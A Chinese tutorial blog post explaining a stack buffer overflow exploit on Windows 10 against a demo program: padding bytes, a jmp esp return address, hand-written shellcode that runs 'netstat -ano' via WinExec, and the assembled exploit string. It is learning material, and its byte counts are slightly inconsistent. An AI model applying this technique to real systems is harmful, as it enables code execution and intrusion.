缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)
0x01 介绍
Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode
测试环境:C-free5 + Windows10 + 2019年1月25日
0x02 测试漏洞溢出长度
1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序
2、这个程序储存test[5]这个字符串变量的栈地址是这样的
3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
0x03 返回地址利用
1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用
2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512
"\x12\x45\xfa\x7f"
0x04 编写shellcode
1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等
2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令
ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时
3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理
push ebp // 压入ebp,保存环境
mov ebp,esp // 这个不多说了吧
push eax // 预留16字节栈空间储存"netstat -ano"
push eax // push一个eax4个字节
push eax
push eax
mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”
mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”
mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”
mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”
mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”
mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”
mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”
mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”
mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”
push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)
lea eax,dword ptr ss:[ebp-0x10]
push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10
call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同
4、贴出WinExec函数原型
5、对应的机器码,就是OD代码右边的东西
"\x55"
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"
0x5 组合代码形成Exploit
16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出代码
"\x12\x45\xfa\x7f" // 返回地址
"\x55" // shellcode
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"
0x6 测试
成功运行了netstat -ano这个命令,本次学习测试到此结束
最新文章
- Linux学习笔记<;五>;
- nodejs随记03
- BDC批导数据
- [Everyday Mathematics]20150112
- PYTHON线程知识再研习G--线程间通信Event
- CentOS 配置 ssh
- vue学习笔记(五)——指令
- Using Sass with the Angular CLI
- 在 ASP.NET Core 中使用 MySql 踩坑记录
- VS2017 提示警告 IDE0006
- 代码编辑器横评:为什么 VS Code 能拔得头筹
- Saruman&#39;s Army(POJ3069)
- NOIP2002-2017提高组题解
- 进程间通信IPC机制和生产者消费者模型
- 了解java虚拟机---JVM的基本结构(1)
- 使用Python读取Mp3的标签信息
- PTA-BinarySearchTree BasicOperation
- codevs2875RY哥查字典
- Uva11374 Dijkstra
- 技术博客HTML
热门文章
- 25个关键技术点,带你熟悉Python
- canal mysql select权限粒度
- Reincarnation Without New Body(RWNB): Basic Theory and Baseline 现世转生基本理论及简单操作
- 一文搞懂 this、apply、call、bind
- Spring Boot 轻量替代框架 Solon 的架构笔记
- C# 基础 - Enum 的一些操作
- app渗透测试 服务端篇
- Codeforces Round #557 B. Double Matrix
- Java字符串==和equals的区别
- css盒模型以及如何计算盒子的宽度